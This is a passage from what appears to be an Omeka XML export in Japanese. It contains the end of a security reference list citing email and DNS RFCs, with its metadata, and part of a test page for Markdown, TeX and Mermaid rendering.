&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**IMAP**&lt;/span&gt;&lt;span&gt;: RFC 3501 (Internet Message Access Protocol)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**SMTP AUTH**&lt;/span&gt;&lt;span&gt;: RFC 4954 (SMTP Service Extension for Authentication)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**STARTTLS**&lt;/span&gt;&lt;span&gt;: RFC 3207 (SMTP Service Extension for Secure SMTP over Transport Layer Security)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**SPF**&lt;/span&gt;&lt;span&gt;: RFC 7208 (Sender Policy Framework)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DKIM**&lt;/span&gt;&lt;span&gt;: RFC 6376 (DomainKeys Identified Mail)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DMARC**&lt;/span&gt;&lt;span&gt;: RFC 7489 (Domain-based Message Authentication, Reporting, and Conformance)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**S/MIME**&lt;/span&gt;&lt;span&gt;: RFC 8551 (Secure/Multipurpose Internet Mail Extensions)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**OpenPGP**&lt;/span&gt;&lt;span&gt;: RFC 4880 (OpenPGP Message Format)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DNS関連プロトコル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNS**&lt;/span&gt;&lt;span&gt;: RFC 1035 (Domain Names - Implementation and Specification)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNSSEC**&lt;/span&gt;&lt;span&gt;: RFC 4033-4035 (DNS Security Extensions)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNS over HTTPS (DoH)**&lt;/span&gt;&lt;span&gt;: RFC 8484 (DNS Queries over HTTPS)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNS over TLS (DoT)**&lt;/span&gt;&lt;span&gt;: RFC 7858 (Specification for DNS over Transport Layer Security)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### その他の技術資料&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; IETF (Internet Engineering Task Force) の各種RFC文書&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; NIST (National Institute of Standards and Technology) のセキュリティガイドライン&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 各セキュリティベンダーの技術文書&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 注意事項&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 本資料に記載されている技術情報は、公開されている情報と一般的な技術知識に基づいています&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 実際のシステム構築やセキュリティ対策の実装については、専門家の助言を求めることを推奨します&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 事件の詳細や最新情報については、必ず公式発表を参照してください&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## ライセンス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;本資料は教育・研究目的で作成されており、適切な出典明記のもとで引用・参照可能です。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;商用利用や改変を行う場合は、作成者にご連絡ください。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**最終更新**&lt;/span&gt;&lt;span&gt;: 2025-11-12&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1912">
                <text>情報セキュリテイ9</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1913">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1914">
                <text>2025-11-12</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1915">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="123" public="1" featured="0">
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1925">
              <text>&lt;div&gt;
&lt;div&gt;&lt;span&gt;&amp;lt;!-- Omeka Simple Pages用: この内容をSimple Pagesの本文に貼り付けてください --&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;lt;!-- 注意: &amp;lt;div class="md"&amp;gt;は不要です。自動検出されます。 --&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;# Markdown / TeX / Mermaid 確認用ページ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このページで、各機能が正しく動作するか確認できます。すべてのスタイルと図の種類をテストできます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト1: Markdown - 基本要素&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;# 見出し1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;## 見出し2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;### 見出し3&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;#### 見出し4&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;##### 見出し5&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;###### 見出し6&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これは &lt;/span&gt;&lt;span&gt;**太字**&lt;/span&gt;&lt;span&gt;、これは &lt;/span&gt;&lt;span&gt;*斜体*&lt;/span&gt;&lt;span&gt;、これは &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;*太字斜体*&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt; です。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;段落の例です。複数の文を含む段落で、改行がどのように処理されるか確認できます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;別の段落です。段落間には適切な余白があります。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### リスト&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 順序なしリスト&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 項目1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 項目2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  　- ネスト項目2-1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  　- ネスト項目2-2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 項目3&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 順序付きリスト&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; 第一項目&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; 第二項目&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; ネスト項目2-1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; ネスト項目2-2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; 第三項目&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### コード&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;インラインコード: &lt;/span&gt;&lt;span&gt;`console.log('test')`&lt;/span&gt;&lt;span&gt; と &lt;/span&gt;&lt;span&gt;`var x = 42;`&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;コードブロック:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;function hello() {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    console.log("Hello, World!");&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### リンク&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Google&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;https://www.google.com&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 引用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;&amp;gt; これは引用文です。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;gt; 複数行の引用も可能です。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;gt; 引用内で段落を分けることもできます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### テーブル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 列1 | 列2 | 列3 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|:-----|:----:|-----:|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| データ1 | データ2 | データ3 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| データ4 | データ5 | データ6 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 左揃え | 中央揃え | 右揃え |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 水平線&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;上に水平線があります。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;下に水平線があります。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト2: TeX (MathJax) - 様々な数式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 行内数式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;アインシュタインの式: $&lt;/span&gt;&lt;span&gt;E=mc^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;二次方程式の解: $&lt;/span&gt;&lt;span&gt;x = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{-b &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pm &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{b^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;ac}}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;a}$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;オイラーの公式: $&lt;/span&gt;&lt;span&gt;e^{i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi} + &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ベクトルの内積: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;vec&lt;/span&gt;&lt;span&gt;{a} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;vec&lt;/span&gt;&lt;span&gt;{b} = |&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;vec&lt;/span&gt;&lt;span&gt;{a}||&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;vec&lt;/span&gt;&lt;span&gt;{b}|&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cos&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ブロック数式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ガウス積分:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty e^{-x^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} dx = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi}}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;フーリエ変換:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;F(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty}^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty} f(t) e^{-i&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;omega t} dt&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;行列:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{pmatrix}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;a &amp;amp; b \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;c &amp;amp; d&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{pmatrix}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{pmatrix}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;x \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{pmatrix}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;=&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{pmatrix}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;ax + by \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;cx + dy&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{pmatrix}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;総和と積分:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{n} i = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{n(n+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_a^b f(x) dx = F(b) - F(a)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 複雑な数式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;偏微分方程式:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial u}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial t} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; u}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial x^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ベイズの定理:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;P(A|B) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{P(B|A) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot P(A)}{P(B)}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト3: Mermaid - フローチャート&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[開始] --&amp;gt; B{条件判定}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|Yes| C[処理1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|No| D[処理2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E[終了]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト4: Mermaid - シーケンス図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;sequenceDiagram&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    participant A as クライアント&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    participant B as サーバー&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    participant C as データベース&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A-&amp;gt;&amp;gt;B: リクエスト&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B-&amp;gt;&amp;gt;C: クエリ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C--&amp;gt;&amp;gt;B: 結果&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B--&amp;gt;&amp;gt;A: レスポンス&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト5: Mermaid - ガントチャート&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;gantt&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    title プロジェクトスケジュール&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    dateFormat YYYY-MM-DD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    section 設計&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    要件定義 :a1, 2024-01-01, 10d&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    詳細設計 :a2, after a1, 15d&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    section 開発&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    実装 :b1, after a2, 20d&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    テスト :b2, after b1, 10d&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト6: Mermaid - クラス図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;classDiagram&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    class Animal {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        +String name&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        +int age&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        +eat()&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        +sleep()&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    class Dog {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        +bark()&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    class Cat {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        +meow()&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    Animal &amp;lt;|-- Dog&lt;/span&gt;&lt;/div&gt;
